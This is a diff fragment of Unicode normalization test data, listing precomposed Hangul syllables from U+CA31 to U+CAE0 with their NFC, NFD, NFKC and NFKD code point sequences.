+{ source: [0xCA31], NFC: [0xCA31], NFD: [0x110D, 0x1164, 0x11A8], NFKC: [0xCA31], NFKD: [0x110D, 0x1164, 0x11A8] },
+{ source: [0xCA32], NFC: [0xCA32], NFD: [0x110D, 0x1164, 0x11A9], NFKC: [0xCA32], NFKD: [0x110D, 0x1164, 0x11A9] },
+{ source: [0xCA33], NFC: [0xCA33], NFD: [0x110D, 0x1164, 0x11AA], NFKC: [0xCA33], NFKD: [0x110D, 0x1164, 0x11AA] },
+{ source: [0xCA34], NFC: [0xCA34], NFD: [0x110D, 0x1164, 0x11AB], NFKC: [0xCA34], NFKD: [0x110D, 0x1164, 0x11AB] },
+{ source: [0xCA35], NFC: [0xCA35], NFD: [0x110D, 0x1164, 0x11AC], NFKC: [0xCA35], NFKD: [0x110D, 0x1164, 0x11AC] },
+{ source: [0xCA36], NFC: [0xCA36], NFD: [0x110D, 0x1164, 0x11AD], NFKC: [0xCA36], NFKD: [0x110D, 0x1164, 0x11AD] },
+{ source: [0xCA37], NFC: [0xCA37], NFD: [0x110D, 0x1164, 0x11AE], NFKC: [0xCA37], NFKD: [0x110D, 0x1164, 0x11AE] },
+{ source: [0xCA38], NFC: [0xCA38], NFD: [0x110D, 0x1164, 0x11AF], NFKC: [0xCA38], NFKD: [0x110D, 0x1164, 0x11AF] },
+{ source: [0xCA39], NFC: [0xCA39], NFD: [0x110D, 0x1164, 0x11B0], NFKC: [0xCA39], NFKD: [0x110D, 0x1164, 0x11B0] },
+{ source: [0xCA3A], NFC: [0xCA3A], NFD: [0x110D, 0x1164, 0x11B1], NFKC: [0xCA3A], NFKD: [0x110D, 0x1164, 0x11B1] },
+{ source: [0xCA3B], NFC: [0xCA3B], NFD: [0x110D, 0x1164, 0x11B2], NFKC: [0xCA3B], NFKD: [0x110D, 0x1164, 0x11B2] },
+{ source: [0xCA3C], NFC: [0xCA3C], NFD: [0x110D, 0x1164, 0x11B3], NFKC: [0xCA3C], NFKD: [0x110D, 0x1164, 0x11B3] },
+{ source: [0xCA3D], NFC: [0xCA3D], NFD: [0x110D, 0x1164, 0x11B4], NFKC: [0xCA3D], NFKD: [0x110D, 0x1164, 0x11B4] },
+{ source: [0xCA3E], NFC: [0xCA3E], NFD: [0x110D, 0x1164, 0x11B5], NFKC: [0xCA3E], NFKD: [0x110D, 0x1164, 0x11B5] },
+{ source: [0xCA3F], NFC: [0xCA3F], NFD: [0x110D, 0x1164, 0x11B6], NFKC: [0xCA3F], NFKD: [0x110D, 0x1164, 0x11B6] },
+{ source: [0xCA40], NFC: [0xCA40], NFD: [0x110D, 0x1164, 0x11B7], NFKC: [0xCA40], NFKD: [0x110D, 0x1164, 0x11B7] },
+{ source: [0xCA41], NFC: [0xCA41], NFD: [0x110D, 0x1164, 0x11B8], NFKC: [0xCA41], NFKD: [0x110D, 0x1164, 0x11B8] },
+{ source: [0xCA42], NFC: [0xCA42], NFD: [0x110D, 0x1164, 0x11B9], NFKC: [0xCA42], NFKD: [0x110D, 0x1164, 0x11B9] },
+{ source: [0xCA43], NFC: [0xCA43], NFD: [0x110D, 0x1164, 0x11BA], NFKC: [0xCA43], NFKD: [0x110D, 0x1164, 0x11BA] },
+{ source: [0xCA44], NFC: [0xCA44], NFD: [0x110D, 0x1164, 0x11BB], NFKC: [0xCA44], NFKD: [0x110D, 0x1164, 0x11BB] },
+{ source: [0xCA45], NFC: [0xCA45], NFD: [0x110D, 0x1164, 0x11BC], NFKC: [0xCA45], NFKD: [0x110D, 0x1164, 0x11BC] },
+{ source: [0xCA46], NFC: [0xCA46], NFD: [0x110D, 0x1164, 0x11BD], NFKC: [0xCA46], NFKD: [0x110D, 0x1164, 0x11BD] },
+{ source: [0xCA47], NFC: [0xCA47], NFD: [0x110D, 0x1164, 0x11BE], NFKC: [0xCA47], NFKD: [0x110D, 0x1164, 0x11BE] },
+{ source: [0xCA48], NFC: [0xCA48], NFD: [0x110D, 0x1164, 0x11BF], NFKC: [0xCA48], NFKD: [0x110D, 0x1164, 0x11BF] },
+{ source: [0xCA49], NFC: [0xCA49], NFD: [0x110D, 0x1164, 0x11C0], NFKC: [0xCA49], NFKD: [0x110D, 0x1164, 0x11C0] },
+{ source: [0xCA4A], NFC: [0xCA4A], NFD: [0x110D, 0x1164, 0x11C1], NFKC: [0xCA4A], NFKD: [0x110D, 0x1164, 0x11C1] },
+{ source: [0xCA4B], NFC: [0xCA4B], NFD: [0x110D, 0x1164, 0x11C2], NFKC: [0xCA4B], NFKD: [0x110D, 0x1164, 0x11C2] },
+{ source: [0xCA4C], NFC: [0xCA4C], NFD: [0x110D, 0x1165], NFKC: [0xCA4C], NFKD: [0x110D, 0x1165] },
+{ source: [0xCA4D], NFC: [0xCA4D], NFD: [0x110D, 0x1165, 0x11A8], NFKC: [0xCA4D], NFKD: [0x110D, 0x1165, 0x11A8] },
+{ source: [0xCA4E], NFC: [0xCA4E], NFD: [0x110D, 0x1165, 0x11A9], NFKC: [0xCA4E], NFKD: [0x110D, 0x1165, 0x11A9] },
+{ source: [0xCA4F], NFC: [0xCA4F], NFD: [0x110D, 0x1165, 0x11AA], NFKC: [0xCA4F], NFKD: [0x110D, 0x1165, 0x11AA] },
+{ source: [0xCA50], NFC: [0xCA50], NFD: [0x110D, 0x1165, 0x11AB], NFKC: [0xCA50], NFKD: [0x110D, 0x1165, 0x11AB] },
+{ source: [0xCA51], NFC: [0xCA51], NFD: [0x110D, 0x1165, 0x11AC], NFKC: [0xCA51], NFKD: [0x110D, 0x1165, 0x11AC] },
+{ source: [0xCA52], NFC: [0xCA52], NFD: [0x110D, 0x1165, 0x11AD], NFKC: [0xCA52], NFKD: [0x110D, 0x1165, 0x11AD] },
+{ source: [0xCA53], NFC: [0xCA53], NFD: [0x110D, 0x1165, 0x11AE], NFKC: [0xCA53], NFKD: [0x110D, 0x1165, 0x11AE] },
+{ source: [0xCA54], NFC: [0xCA54], NFD: [0x110D, 0x1165, 0x11AF], NFKC: [0xCA54], NFKD: [0x110D, 0x1165, 0x11AF] },
+{ source: [0xCA55], NFC: [0xCA55], NFD: [0x110D, 0x1165, 0x11B0], NFKC: [0xCA55], NFKD: [0x110D, 0x1165, 0x11B0] },
+{ source: [0xCA56], NFC: [0xCA56], NFD: [0x110D, 0x1165, 0x11B1], NFKC: [0xCA56], NFKD: [0x110D, 0x1165, 0x11B1] },
+{ source: [0xCA57], NFC: [0xCA57], NFD: [0x110D, 0x1165, 0x11B2], NFKC: [0xCA57], NFKD: [0x110D, 0x1165, 0x11B2] },
+{ source: [0xCA58], NFC: [0xCA58], NFD: [0x110D, 0x1165, 0x11B3], NFKC: [0xCA58], NFKD: [0x110D, 0x1165, 0x11B3] },
+{ source: [0xCA59], NFC: [0xCA59], NFD: [0x110D, 0x1165, 0x11B4], NFKC: [0xCA59], NFKD: [0x110D, 0x1165, 0x11B4] },
+{ source: [0xCA5A], NFC: [0xCA5A], NFD: [0x110D, 0x1165, 0x11B5], NFKC: [0xCA5A], NFKD: [0x110D, 0x1165, 0x11B5] },
+{ source: [0xCA5B], NFC: [0xCA5B], NFD: [0x110D, 0x1165, 0x11B6], NFKC: [0xCA5B], NFKD: [0x110D, 0x1165, 0x11B6] },
+{ source: [0xCA5C], NFC: [0xCA5C], NFD: [0x110D, 0x1165, 0x11B7], NFKC: [0xCA5C], NFKD: [0x110D, 0x1165, 0x11B7] },
+{ source: [0xCA5D], NFC: [0xCA5D], NFD: [0x110D, 0x1165, 0x11B8], NFKC: [0xCA5D], NFKD: [0x110D, 0x1165, 0x11B8] },
+{ source: [0xCA5E], NFC: [0xCA5E], NFD: [0x110D, 0x1165, 0x11B9], NFKC: [0xCA5E], NFKD: [0x110D, 0x1165, 0x11B9] },
+{ source: [0xCA5F], NFC: [0xCA5F], NFD: [0x110D, 0x1165, 0x11BA], NFKC: [0xCA5F], NFKD: [0x110D, 0x1165, 0x11BA] },
+{ source: [0xCA60], NFC: [0xCA60], NFD: [0x110D, 0x1165, 0x11BB], NFKC: [0xCA60], NFKD: [0x110D, 0x1165, 0x11BB] },
+{ source: [0xCA61], NFC: [0xCA61], NFD: [0x110D, 0x1165, 0x11BC], NFKC: [0xCA61], NFKD: [0x110D, 0x1165, 0x11BC] },
+{ source: [0xCA62], NFC: [0xCA62], NFD: [0x110D, 0x1165, 0x11BD], NFKC: [0xCA62], NFKD: [0x110D, 0x1165, 0x11BD] },
+{ source: [0xCA63], NFC: [0xCA63], NFD: [0x110D, 0x1165, 0x11BE], NFKC: [0xCA63], NFKD: [0x110D, 0x1165, 0x11BE] },
+{ source: [0xCA64], NFC: [0xCA64], NFD: [0x110D, 0x1165, 0x11BF], NFKC: [0xCA64], NFKD: [0x110D, 0x1165, 0x11BF] },
+{ source: [0xCA65], NFC: [0xCA65], NFD: [0x110D, 0x1165, 0x11C0], NFKC: [0xCA65], NFKD: [0x110D, 0x1165, 0x11C0] },
+{ source: [0xCA66], NFC: [0xCA66], NFD: [0x110D, 0x1165, 0x11C1], NFKC: [0xCA66], NFKD: [0x110D, 0x1165, 0x11C1] },
+{ source: [0xCA67], NFC: [0xCA67], NFD: [0x110D, 0x1165, 0x11C2], NFKC: [0xCA67], NFKD: [0x110D, 0x1165, 0x11C2] },
+{ source: [0xCA68], NFC: [0xCA68], NFD: [0x110D, 0x1166], NFKC: [0xCA68], NFKD: [0x110D, 0x1166] },
+{ source: [0xCA69], NFC: [0xCA69], NFD: [0x110D, 0x1166, 0x11A8], NFKC: [0xCA69], NFKD: [0x110D, 0x1166, 0x11A8] },
+{ source: [0xCA6A], NFC: [0xCA6A], NFD: [0x110D, 0x1166, 0x11A9], NFKC: [0xCA6A], NFKD: [0x110D, 0x1166, 0x11A9] },
+{ source: [0xCA6B], NFC: [0xCA6B], NFD: [0x110D, 0x1166, 0x11AA], NFKC: [0xCA6B], NFKD: [0x110D, 0x1166, 0x11AA] },
+{ source: [0xCA6C], NFC: [0xCA6C], NFD: [0x110D, 0x1166, 0x11AB], NFKC: [0xCA6C], NFKD: [0x110D, 0x1166, 0x11AB] },
+{ source: [0xCA6D], NFC: [0xCA6D], NFD: [0x110D, 0x1166, 0x11AC], NFKC: [0xCA6D], NFKD: [0x110D, 0x1166, 0x11AC] },
+{ source: [0xCA6E], NFC: [0xCA6E], NFD: [0x110D, 0x1166, 0x11AD], NFKC: [0xCA6E], NFKD: [0x110D, 0x1166, 0x11AD] },
+{ source: [0xCA6F], NFC: [0xCA6F], NFD: [0x110D, 0x1166, 0x11AE], NFKC: [0xCA6F], NFKD: [0x110D, 0x1166, 0x11AE] },
+{ source: [0xCA70], NFC: [0xCA70], NFD: [0x110D, 0x1166, 0x11AF], NFKC: [0xCA70], NFKD: [0x110D, 0x1166, 0x11AF] },
+{ source: [0xCA71], NFC: [0xCA71], NFD: [0x110D, 0x1166, 0x11B0], NFKC: [0xCA71], NFKD: [0x110D, 0x1166, 0x11B0] },
+{ source: [0xCA72], NFC: [0xCA72], NFD: [0x110D, 0x1166, 0x11B1], NFKC: [0xCA72], NFKD: [0x110D, 0x1166, 0x11B1] },
+{ source: [0xCA73], NFC: [0xCA73], NFD: [0x110D, 0x1166, 0x11B2], NFKC: [0xCA73], NFKD: [0x110D, 0x1166, 0x11B2] },
+{ source: [0xCA74], NFC: [0xCA74], NFD: [0x110D, 0x1166, 0x11B3], NFKC: [0xCA74], NFKD: [0x110D, 0x1166, 0x11B3] },
+{ source: [0xCA75], NFC: [0xCA75], NFD: [0x110D, 0x1166, 0x11B4], NFKC: [0xCA75], NFKD: [0x110D, 0x1166, 0x11B4] },
+{ source: [0xCA76], NFC: [0xCA76], NFD: [0x110D, 0x1166, 0x11B5], NFKC: [0xCA76], NFKD: [0x110D, 0x1166, 0x11B5] },
+{ source: [0xCA77], NFC: [0xCA77], NFD: [0x110D, 0x1166, 0x11B6], NFKC: [0xCA77], NFKD: [0x110D, 0x1166, 0x11B6] },
+{ source: [0xCA78], NFC: [0xCA78], NFD: [0x110D, 0x1166, 0x11B7], NFKC: [0xCA78], NFKD: [0x110D, 0x1166, 0x11B7] },
+{ source: [0xCA79], NFC: [0xCA79], NFD: [0x110D, 0x1166, 0x11B8], NFKC: [0xCA79], NFKD: [0x110D, 0x1166, 0x11B8] },
+{ source: [0xCA7A], NFC: [0xCA7A], NFD: [0x110D, 0x1166, 0x11B9], NFKC: [0xCA7A], NFKD: [0x110D, 0x1166, 0x11B9] },
+{ source: [0xCA7B], NFC: [0xCA7B], NFD: [0x110D, 0x1166, 0x11BA], NFKC: [0xCA7B], NFKD: [0x110D, 0x1166, 0x11BA] },
+{ source: [0xCA7C], NFC: [0xCA7C], NFD: [0x110D, 0x1166, 0x11BB], NFKC: [0xCA7C], NFKD: [0x110D, 0x1166, 0x11BB] },
+{ source: [0xCA7D], NFC: [0xCA7D], NFD: [0x110D, 0x1166, 0x11BC], NFKC: [0xCA7D], NFKD: [0x110D, 0x1166, 0x11BC] },
+{ source: [0xCA7E], NFC: [0xCA7E], NFD: [0x110D, 0x1166, 0x11BD], NFKC: [0xCA7E], NFKD: [0x110D, 0x1166, 0x11BD] },
+{ source: [0xCA7F], NFC: [0xCA7F], NFD: [0x110D, 0x1166, 0x11BE], NFKC: [0xCA7F], NFKD: [0x110D, 0x1166, 0x11BE] },
+{ source: [0xCA80], NFC: [0xCA80], NFD: [0x110D, 0x1166, 0x11BF], NFKC: [0xCA80], NFKD: [0x110D, 0x1166, 0x11BF] },
+{ source: [0xCA81], NFC: [0xCA81], NFD: [0x110D, 0x1166, 0x11C0], NFKC: [0xCA81], NFKD: [0x110D, 0x1166, 0x11C0] },
+{ source: [0xCA82], NFC: [0xCA82], NFD: [0x110D, 0x1166, 0x11C1], NFKC: [0xCA82], NFKD: [0x110D, 0x1166, 0x11C1] },
+{ source: [0xCA83], NFC: [0xCA83], NFD: [0x110D, 0x1166, 0x11C2], NFKC: [0xCA83], NFKD: [0x110D, 0x1166, 0x11C2] },
+{ source: [0xCA84], NFC: [0xCA84], NFD: [0x110D, 0x1167], NFKC: [0xCA84], NFKD: [0x110D, 0x1167] },
+{ source: [0xCA85], NFC: [0xCA85], NFD: [0x110D, 0x1167, 0x11A8], NFKC: [0xCA85], NFKD: [0x110D, 0x1167, 0x11A8] },
+{ source: [0xCA86], NFC: [0xCA86], NFD: [0x110D, 0x1167, 0x11A9], NFKC: [0xCA86], NFKD: [0x110D, 0x1167, 0x11A9] },
+{ source: [0xCA87], NFC: [0xCA87], NFD: [0x110D, 0x1167, 0x11AA], NFKC: [0xCA87], NFKD: [0x110D, 0x1167, 0x11AA] },
+{ source: [0xCA88], NFC: [0xCA88], NFD: [0x110D, 0x1167, 0x11AB], NFKC: [0xCA88], NFKD: [0x110D, 0x1167, 0x11AB] },
+{ source: [0xCA89], NFC: [0xCA89], NFD: [0x110D, 0x1167, 0x11AC], NFKC: [0xCA89], NFKD: [0x110D, 0x1167, 0x11AC] },
+{ source: [0xCA8A], NFC: [0xCA8A], NFD: [0x110D, 0x1167, 0x11AD], NFKC: [0xCA8A], NFKD: [0x110D, 0x1167, 0x11AD] },
+{ source: [0xCA8B], NFC: [0xCA8B], NFD: [0x110D, 0x1167, 0x11AE], NFKC: [0xCA8B], NFKD: [0x110D, 0x1167, 0x11AE] },
+{ source: [0xCA8C], NFC: [0xCA8C], NFD: [0x110D, 0x1167, 0x11AF], NFKC: [0xCA8C], NFKD: [0x110D, 0x1167, 0x11AF] },
+{ source: [0xCA8D], NFC: [0xCA8D], NFD: [0x110D, 0x1167, 0x11B0], NFKC: [0xCA8D], NFKD: [0x110D, 0x1167, 0x11B0] },
+{ source: [0xCA8E], NFC: [0xCA8E], NFD: [0x110D, 0x1167, 0x11B1], NFKC: [0xCA8E], NFKD: [0x110D, 0x1167, 0x11B1] },
+{ source: [0xCA8F], NFC: [0xCA8F], NFD: [0x110D, 0x1167, 0x11B2], NFKC: [0xCA8F], NFKD: [0x110D, 0x1167, 0x11B2] },
+{ source: [0xCA90], NFC: [0xCA90], NFD: [0x110D, 0x1167, 0x11B3], NFKC: [0xCA90], NFKD: [0x110D, 0x1167, 0x11B3] },
+{ source: [0xCA91], NFC: [0xCA91], NFD: [0x110D, 0x1167, 0x11B4], NFKC: [0xCA91], NFKD: [0x110D, 0x1167, 0x11B4] },
+{ source: [0xCA92], NFC: [0xCA92], NFD: [0x110D, 0x1167, 0x11B5], NFKC: [0xCA92], NFKD: [0x110D, 0x1167, 0x11B5] },
+{ source: [0xCA93], NFC: [0xCA93], NFD: [0x110D, 0x1167, 0x11B6], NFKC: [0xCA93], NFKD: [0x110D, 0x1167, 0x11B6] },
+{ source: [0xCA94], NFC: [0xCA94], NFD: [0x110D, 0x1167, 0x11B7], NFKC: [0xCA94], NFKD: [0x110D, 0x1167, 0x11B7] },
+{ source: [0xCA95], NFC: [0xCA95], NFD: [0x110D, 0x1167, 0x11B8], NFKC: [0xCA95], NFKD: [0x110D, 0x1167, 0x11B8] },
+{ source: [0xCA96], NFC: [0xCA96], NFD: [0x110D, 0x1167, 0x11B9], NFKC: [0xCA96], NFKD: [0x110D, 0x1167, 0x11B9] },
+{ source: [0xCA97], NFC: [0xCA97], NFD: [0x110D, 0x1167, 0x11BA], NFKC: [0xCA97], NFKD: [0x110D, 0x1167, 0x11BA] },
+{ source: [0xCA98], NFC: [0xCA98], NFD: [0x110D, 0x1167, 0x11BB], NFKC: [0xCA98], NFKD: [0x110D, 0x1167, 0x11BB] },
+{ source: [0xCA99], NFC: [0xCA99], NFD: [0x110D, 0x1167, 0x11BC], NFKC: [0xCA99], NFKD: [0x110D, 0x1167, 0x11BC] },
+{ source: [0xCA9A], NFC: [0xCA9A], NFD: [0x110D, 0x1167, 0x11BD], NFKC: [0xCA9A], NFKD: [0x110D, 0x1167, 0x11BD] },
+{ source: [0xCA9B], NFC: [0xCA9B], NFD: [0x110D, 0x1167, 0x11BE], NFKC: [0xCA9B], NFKD: [0x110D, 0x1167, 0x11BE] },
+{ source: [0xCA9C], NFC: [0xCA9C], NFD: [0x110D, 0x1167, 0x11BF], NFKC: [0xCA9C], NFKD: [0x110D, 0x1167, 0x11BF] },
+{ source: [0xCA9D], NFC: [0xCA9D], NFD: [0x110D, 0x1167, 0x11C0], NFKC: [0xCA9D], NFKD: [0x110D, 0x1167, 0x11C0] },
+{ source: [0xCA9E], NFC: [0xCA9E], NFD: [0x110D, 0x1167, 0x11C1], NFKC: [0xCA9E], NFKD: [0x110D, 0x1167, 0x11C1] },
+{ source: [0xCA9F], NFC: [0xCA9F], NFD: [0x110D, 0x1167, 0x11C2], NFKC: [0xCA9F], NFKD: [0x110D, 0x1167, 0x11C2] },
+{ source: [0xCAA0], NFC: [0xCAA0], NFD: [0x110D, 0x1168], NFKC: [0xCAA0], NFKD: [0x110D, 0x1168] },
+{ source: [0xCAA1], NFC: [0xCAA1], NFD: [0x110D, 0x1168, 0x11A8], NFKC: [0xCAA1], NFKD: [0x110D, 0x1168, 0x11A8] },
+{ source: [0xCAA2], NFC: [0xCAA2], NFD: [0x110D, 0x1168, 0x11A9], NFKC: [0xCAA2], NFKD: [0x110D, 0x1168, 0x11A9] },
+{ source: [0xCAA3], NFC: [0xCAA3], NFD: [0x110D, 0x1168, 0x11AA], NFKC: [0xCAA3], NFKD: [0x110D, 0x1168, 0x11AA] },
+{ source: [0xCAA4], NFC: [0xCAA4], NFD: [0x110D, 0x1168, 0x11AB], NFKC: [0xCAA4], NFKD: [0x110D, 0x1168, 0x11AB] },
+{ source: [0xCAA5], NFC: [0xCAA5], NFD: [0x110D, 0x1168, 0x11AC], NFKC: [0xCAA5], NFKD: [0x110D, 0x1168, 0x11AC] },
+{ source: [0xCAA6], NFC: [0xCAA6], NFD: [0x110D, 0x1168, 0x11AD], NFKC: [0xCAA6], NFKD: [0x110D, 0x1168, 0x11AD] },
+{ source: [0xCAA7], NFC: [0xCAA7], NFD: [0x110D, 0x1168, 0x11AE], NFKC: [0xCAA7], NFKD: [0x110D, 0x1168, 0x11AE] },
+{ source: [0xCAA8], NFC: [0xCAA8], NFD: [0x110D, 0x1168, 0x11AF], NFKC: [0xCAA8], NFKD: [0x110D, 0x1168, 0x11AF] },
+{ source: [0xCAA9], NFC: [0xCAA9], NFD: [0x110D, 0x1168, 0x11B0], NFKC: [0xCAA9], NFKD: [0x110D, 0x1168, 0x11B0] },
+{ source: [0xCAAA], NFC: [0xCAAA], NFD: [0x110D, 0x1168, 0x11B1], NFKC: [0xCAAA], NFKD: [0x110D, 0x1168, 0x11B1] },
+{ source: [0xCAAB], NFC: [0xCAAB], NFD: [0x110D, 0x1168, 0x11B2], NFKC: [0xCAAB], NFKD: [0x110D, 0x1168, 0x11B2] },
+{ source: [0xCAAC], NFC: [0xCAAC], NFD: [0x110D, 0x1168, 0x11B3], NFKC: [0xCAAC], NFKD: [0x110D, 0x1168, 0x11B3] },
+{ source: [0xCAAD], NFC: [0xCAAD], NFD: [0x110D, 0x1168, 0x11B4], NFKC: [0xCAAD], NFKD: [0x110D, 0x1168, 0x11B4] },
+{ source: [0xCAAE], NFC: [0xCAAE], NFD: [0x110D, 0x1168, 0x11B5], NFKC: [0xCAAE], NFKD: [0x110D, 0x1168, 0x11B5] },
+{ source: [0xCAAF], NFC: [0xCAAF], NFD: [0x110D, 0x1168, 0x11B6], NFKC: [0xCAAF], NFKD: [0x110D, 0x1168, 0x11B6] },
+{ source: [0xCAB0], NFC: [0xCAB0], NFD: [0x110D, 0x1168, 0x11B7], NFKC: [0xCAB0], NFKD: [0x110D, 0x1168, 0x11B7] },
+{ source: [0xCAB1], NFC: [0xCAB1], NFD: [0x110D, 0x1168, 0x11B8], NFKC: [0xCAB1], NFKD: [0x110D, 0x1168, 0x11B8] },
+{ source: [0xCAB2], NFC: [0xCAB2], NFD: [0x110D, 0x1168, 0x11B9], NFKC: [0xCAB2], NFKD: [0x110D, 0x1168, 0x11B9] },
+{ source: [0xCAB3], NFC: [0xCAB3], NFD: [0x110D, 0x1168, 0x11BA], NFKC: [0xCAB3], NFKD: [0x110D, 0x1168, 0x11BA] },
+{ source: [0xCAB4], NFC: [0xCAB4], NFD: [0x110D, 0x1168, 0x11BB], NFKC: [0xCAB4], NFKD: [0x110D, 0x1168, 0x11BB] },
+{ source: [0xCAB5], NFC: [0xCAB5], NFD: [0x110D, 0x1168, 0x11BC], NFKC: [0xCAB5], NFKD: [0x110D, 0x1168, 0x11BC] },
+{ source: [0xCAB6], NFC: [0xCAB6], NFD: [0x110D, 0x1168, 0x11BD], NFKC: [0xCAB6], NFKD: [0x110D, 0x1168, 0x11BD] },
+{ source: [0xCAB7], NFC: [0xCAB7], NFD: [0x110D, 0x1168, 0x11BE], NFKC: [0xCAB7], NFKD: [0x110D, 0x1168, 0x11BE] },
+{ source: [0xCAB8], NFC: [0xCAB8], NFD: [0x110D, 0x1168, 0x11BF], NFKC: [0xCAB8], NFKD: [0x110D, 0x1168, 0x11BF] },
+{ source: [0xCAB9], NFC: [0xCAB9], NFD: [0x110D, 0x1168, 0x11C0], NFKC: [0xCAB9], NFKD: [0x110D, 0x1168, 0x11C0] },
+{ source: [0xCABA], NFC: [0xCABA], NFD: [0x110D, 0x1168, 0x11C1], NFKC: [0xCABA], NFKD: [0x110D, 0x1168, 0x11C1] },
+{ source: [0xCABB], NFC: [0xCABB], NFD: [0x110D, 0x1168, 0x11C2], NFKC: [0xCABB], NFKD: [0x110D, 0x1168, 0x11C2] },
+{ source: [0xCABC], NFC: [0xCABC], NFD: [0x110D, 0x1169], NFKC: [0xCABC], NFKD: [0x110D, 0x1169] },
+{ source: [0xCABD], NFC: [0xCABD], NFD: [0x110D, 0x1169, 0x11A8], NFKC: [0xCABD], NFKD: [0x110D, 0x1169, 0x11A8] },
+{ source: [0xCABE], NFC: [0xCABE], NFD: [0x110D, 0x1169, 0x11A9], NFKC: [0xCABE], NFKD: [0x110D, 0x1169, 0x11A9] },
+{ source: [0xCABF], NFC: [0xCABF], NFD: [0x110D, 0x1169, 0x11AA], NFKC: [0xCABF], NFKD: [0x110D, 0x1169, 0x11AA] },
+{ source: [0xCAC0], NFC: [0xCAC0], NFD: [0x110D, 0x1169, 0x11AB], NFKC: [0xCAC0], NFKD: [0x110D, 0x1169, 0x11AB] },
+{ source: [0xCAC1], NFC: [0xCAC1], NFD: [0x110D, 0x1169, 0x11AC], NFKC: [0xCAC1], NFKD: [0x110D, 0x1169, 0x11AC] },
+{ source: [0xCAC2], NFC: [0xCAC2], NFD: [0x110D, 0x1169, 0x11AD], NFKC: [0xCAC2], NFKD: [0x110D, 0x1169, 0x11AD] },
+{ source: [0xCAC3], NFC: [0xCAC3], NFD: [0x110D, 0x1169, 0x11AE], NFKC: [0xCAC3], NFKD: [0x110D, 0x1169, 0x11AE] },
+{ source: [0xCAC4], NFC: [0xCAC4], NFD: [0x110D, 0x1169, 0x11AF], NFKC: [0xCAC4], NFKD: [0x110D, 0x1169, 0x11AF] },
+{ source: [0xCAC5], NFC: [0xCAC5], NFD: [0x110D, 0x1169, 0x11B0], NFKC: [0xCAC5], NFKD: [0x110D, 0x1169, 0x11B0] },
+{ source: [0xCAC6], NFC: [0xCAC6], NFD: [0x110D, 0x1169, 0x11B1], NFKC: [0xCAC6], NFKD: [0x110D, 0x1169, 0x11B1] },
+{ source: [0xCAC7], NFC: [0xCAC7], NFD: [0x110D, 0x1169, 0x11B2], NFKC: [0xCAC7], NFKD: [0x110D, 0x1169, 0x11B2] },
+{ source: [0xCAC8], NFC: [0xCAC8], NFD: [0x110D, 0x1169, 0x11B3], NFKC: [0xCAC8], NFKD: [0x110D, 0x1169, 0x11B3] },
+{ source: [0xCAC9], NFC: [0xCAC9], NFD: [0x110D, 0x1169, 0x11B4], NFKC: [0xCAC9], NFKD: [0x110D, 0x1169, 0x11B4] },
+{ source: [0xCACA], NFC: [0xCACA], NFD: [0x110D, 0x1169, 0x11B5], NFKC: [0xCACA], NFKD: [0x110D, 0x1169, 0x11B5] },
+{ source: [0xCACB], NFC: [0xCACB], NFD: [0x110D, 0x1169, 0x11B6], NFKC: [0xCACB], NFKD: [0x110D, 0x1169, 0x11B6] },
+{ source: [0xCACC], NFC: [0xCACC], NFD: [0x110D, 0x1169, 0x11B7], NFKC: [0xCACC], NFKD: [0x110D, 0x1169, 0x11B7] },
+{ source: [0xCACD], NFC: [0xCACD], NFD: [0x110D, 0x1169, 0x11B8], NFKC: [0xCACD], NFKD: [0x110D, 0x1169, 0x11B8] },
+{ source: [0xCACE], NFC: [0xCACE], NFD: [0x110D, 0x1169, 0x11B9], NFKC: [0xCACE], NFKD: [0x110D, 0x1169, 0x11B9] },
+{ source: [0xCACF], NFC: [0xCACF], NFD: [0x110D, 0x1169, 0x11BA], NFKC: [0xCACF], NFKD: [0x110D, 0x1169, 0x11BA] },
+{ source: [0xCAD0], NFC: [0xCAD0], NFD: [0x110D, 0x1169, 0x11BB], NFKC: [0xCAD0], NFKD: [0x110D, 0x1169, 0x11BB] },
+{ source: [0xCAD1], NFC: [0xCAD1], NFD: [0x110D, 0x1169, 0x11BC], NFKC: [0xCAD1], NFKD: [0x110D, 0x1169, 0x11BC] },
+{ source: [0xCAD2], NFC: [0xCAD2], NFD: [0x110D, 0x1169, 0x11BD], NFKC: [0xCAD2], NFKD: [0x110D, 0x1169, 0x11BD] },
+{ source: [0xCAD3], NFC: [0xCAD3], NFD: [0x110D, 0x1169, 0x11BE], NFKC: [0xCAD3], NFKD: [0x110D, 0x1169, 0x11BE] },
+{ source: [0xCAD4], NFC: [0xCAD4], NFD: [0x110D, 0x1169, 0x11BF], NFKC: [0xCAD4], NFKD: [0x110D, 0x1169, 0x11BF] },
+{ source: [0xCAD5], NFC: [0xCAD5], NFD: [0x110D, 0x1169, 0x11C0], NFKC: [0xCAD5], NFKD: [0x110D, 0x1169, 0x11C0] },
+{ source: [0xCAD6], NFC: [0xCAD6], NFD: [0x110D, 0x1169, 0x11C1], NFKC: [0xCAD6], NFKD: [0x110D, 0x1169, 0x11C1] },
+{ source: [0xCAD7], NFC: [0xCAD7], NFD: [0x110D, 0x1169, 0x11C2], NFKC: [0xCAD7], NFKD: [0x110D, 0x1169, 0x11C2] },
+{ source: [0xCAD8], NFC: [0xCAD8], NFD: [0x110D, 0x116A], NFKC: [0xCAD8], NFKD: [0x110D, 0x116A] },
+{ source: [0xCAD9], NFC: [0xCAD9], NFD: [0x110D, 0x116A, 0x11A8], NFKC: [0xCAD9], NFKD: [0x110D, 0x116A, 0x11A8] },
+{ source: [0xCADA], NFC: [0xCADA], NFD: [0x110D, 0x116A, 0x11A9], NFKC: [0xCADA], NFKD: [0x110D, 0x116A, 0x11A9] },
+{ source: [0xCADB], NFC: [0xCADB], NFD: [0x110D, 0x116A, 0x11AA], NFKC: [0xCADB], NFKD: [0x110D, 0x116A, 0x11AA] },
+{ source: [0xCADC], NFC: [0xCADC], NFD: [0x110D, 0x116A, 0x11AB], NFKC: [0xCADC], NFKD: [0x110D, 0x116A, 0x11AB] },
+{ source: [0xCADD], NFC: [0xCADD], NFD: [0x110D, 0x116A, 0x11AC], NFKC: [0xCADD], NFKD: [0x110D, 0x116A, 0x11AC] },
+{ source: [0xCADE], NFC: [0xCADE], NFD: [0x110D, 0x116A, 0x11AD], NFKC: [0xCADE], NFKD: [0x110D, 0x116A, 0x11AD] },
+{ source: [0xCADF], NFC: [0xCADF], NFD: [0x110D, 0x116A, 0x11AE], NFKC: [0xCADF], NFKD: [0x110D, 0x116A, 0x11AE] },
+{ source: [0xCAE0], NFC: [0xCAE0], NFD: [0x110D, 0x116A, 0x11AF], NFKC: [0xCAE0], NFKD: [0x110D, 0x116A, 0x11AF] },
